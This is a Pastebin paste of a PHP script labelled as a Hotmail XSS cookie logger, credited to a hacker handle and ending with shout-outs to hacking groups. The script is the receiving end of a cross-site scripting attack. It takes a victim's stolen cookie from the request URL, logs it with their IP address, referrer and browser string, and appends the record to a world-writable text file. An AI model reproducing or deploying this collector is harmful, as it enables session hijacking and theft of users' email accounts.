Advertisement
Guest User

1337r1z Hotmail xss exploit cookies logger

a guest
Jun 30th, 2011
3,075
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.04 KB | None | 0 0
  1. <?php
  2. #############!!Priv8!!Priv8!!#############
  3. #   Hotmail xss vuln. cookies logger     #
  4. #      Coded By HaCKeR-MaN (i-Hmx)       #
  5. # sec4ever.com  , alm3refh.com , 7rs.org #
  6. #  personal Blog : 1337r1z.wordpress.com #
  7. #############!!Priv8!!Priv8!!#############
  8. $url="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  9. $my=str_replace($_SERVER['HTTP_HOST'],'',$url);
  10. $myh=str_replace("http:///co.php?c=",'',$my);
  11. $faris=urldecode($myh);
  12. $ip = $_SERVER['REMOTE_ADDR'];
  13. $referer = $_SERVER['HTTP_REFERER'];
  14. $browser = $_SERVER['HTTP_USER_AGENT'];
  15. $redirect = $_GET['redirect'];
  16. $data = "IP: " . $ip . "\n"
  17. ."Cookie: " . $faris . "\n"
  18. ."Referrer: " . $referer . "\n"
  19. ."Browser: " . $browser . "\n\n";
  20. $log = "ok.txt";
  21. @chmod($log, 0777);
  22. $f = fopen($log, 'a');
  23. fwrite($f, $data);
  24. fclose($f);
  25. /*
  26. shouts to Karar , H311 C0D3 , Lagripe-Dz , Red virus , T3rrorist , the injector , Orange-Man , Fox-hacker
  27.   sec-mind , zaid , sa^Devil , Xss-Man , Raymon , Maestro-dz , sharp-hack and all [Eg,Ps,Dz,Ma,Sy] HaCKeRs
  28. */        
  29. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement